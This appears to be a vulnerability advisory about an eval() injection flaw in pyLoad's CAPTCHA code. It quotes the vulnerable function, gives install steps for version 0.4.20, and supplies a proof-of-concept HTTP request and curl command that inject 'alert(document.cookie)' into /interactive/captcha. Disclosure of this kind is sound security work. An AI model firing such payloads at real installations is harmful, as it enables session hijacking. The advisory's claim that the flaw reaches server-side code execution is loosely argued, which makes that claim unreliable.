Summary
An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows unauthenticated remote attackers to execute arbitrary code in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.
Details
The vulnerable code resides in
function onCaptchaResult(result) {
eval(result); // Direct execution of attacker-controlled input
}
- The
onCaptchaResult()function directly passes CAPTCHA results (sent from the user) intoeval() - No sanitization or validation is performed on this input
- A malicious CAPTCHA result can include JavaScript such as
fetch()orchild_process.exec()in environments using NodeJS - Attackers can fully hijack sessions and pivot to remote code execution on the server if the environment allows it
Reproduction Methods
- Official Source Installation:
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload
- Virtual Environment:
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload
CAPTCHA Endpoint Verification
Technical Clarification:
-
The vulnerable endpoint is actually:
/interactive/captcha -
Complete PoC Request:
POST /interactive/captcha HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
cid=123&response=1%3Balert(document.cookie)
- Curl Command Correction:
curl -X POST "http://localhost:8000/interactive/captcha" \
-d "cid=123&response=1%3Balert(document.cookie)"
- Vulnerable Code Location:
The eval() vulnerability is confirmed in:src/pyload/webui/app/static/js/captcha-interactive.user.js